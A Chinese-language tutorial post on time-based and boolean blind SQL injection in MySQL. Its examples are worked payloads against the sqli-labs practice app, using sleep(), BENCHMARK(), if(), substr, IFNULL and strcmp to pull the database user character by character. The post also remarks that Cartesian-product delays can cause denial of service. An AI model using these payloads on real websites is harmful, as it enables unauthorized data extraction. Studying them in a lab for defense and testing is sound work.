0x00 盲注
盲注我这里只归纳为
-
时间盲注
-
布尔盲注
其实在如今的实际环境中一般盲注的情况毕竟多,时间盲注太费时间 同时对网络要求比较高,二分,dnslog,等等可以加快注入的进程。
0x01 盲注中值得注意的问题
-
盲注中使用 and 你得确定你查询的值得存在 。
-
在返回多组数据的情况下,你的延时不再是 单纯的
sleep(5)他将根据你返回的数据条数来反复执行 -
在如同搜索型时尽量搜索存在且数目较少的关键词
-
尽量不要使用 or
至于以上为什么会出现这种原因 推荐大家看看 这篇文章讲的很清楚https://www.t00ls.net/thread-45590-1-10.html
0x02 简单时间盲注
时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢),查阅mysql手册会发现很多东西
一般时间盲注我们还需要使用条件判断函数
if()
if(expre1,expre2,expre3) 当expre1为true时,返回expre2,false时,返回expre3
盲注的同时也配合着mysql提供的分割函,与正则函数 like函数,比较函数等等,还是那句话多看手册。
substr
substring
left
......
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号 常用到的就有 ascii() hex() 等等
benchmark()其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。
mysql> select * from users where id =1 and if((substr((select user()),1,1)='r'),sleep(5),1);
Empty set (5.01 sec)
mysql> select * from users where id =1 and if((substr((select user()),1,1)='r1'),sleep(5),1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id =1 and if((substr((select user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1);
Empty set (5.15 sec)
case when then else end
mysql> select * from users where id =1 and case when (substr((select user()),1,1)="rr") then sleep(3) else 1 end;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id =1 and case when (substr((select user()),1,1)="r") then sleep(3) else 1 end;
Empty set (3.00 sec)
不推荐使用笛卡尔积当数据过多时会造成DOS。
0x03 布尔盲注
盲注思路的思路很多 比如正则匹配,比较函数,运算符,推荐大家可以看看
https://www.anquanke.com/post/id/170626
- 直接通过字符串截取对比,类似函数很多后面做个总结吧
http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- +
- 用
IFNULL()函数
http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
- 使用 比较函数
strcmp()
1.
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),0) -- +
2.
mysql> select * from users where id =1 and 0=strcmp((substr((select user()),1,1)),'o');
Empty set (0.00 sec)
mysql> select * from users where id =1 and 0=strcmp((substr((select user()),2,1)),'o');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
0x04 小技巧
在没有办法的情况下必须使用到or 的延时注入不如试试子查询,他也只将延时5s
http://192.168.130.135/Less-1/?id=1' or if((substr((select user()),1,1)='r'),((select sleep(5) from information_schema.schemata as b)),1);-- +
本文详细探讨了盲注攻击中的时间盲注策略,包括使用sleep(), BENCHMARK()和条件判断,以及布尔盲注的技巧如正则、比较函数和编码技巧。还介绍了如何利用子查询和IFNULL()绕过复杂场景。适合深入理解SQL注入防御者和攻击者的方法。
1万+

被折叠的 条评论
为什么被折叠?



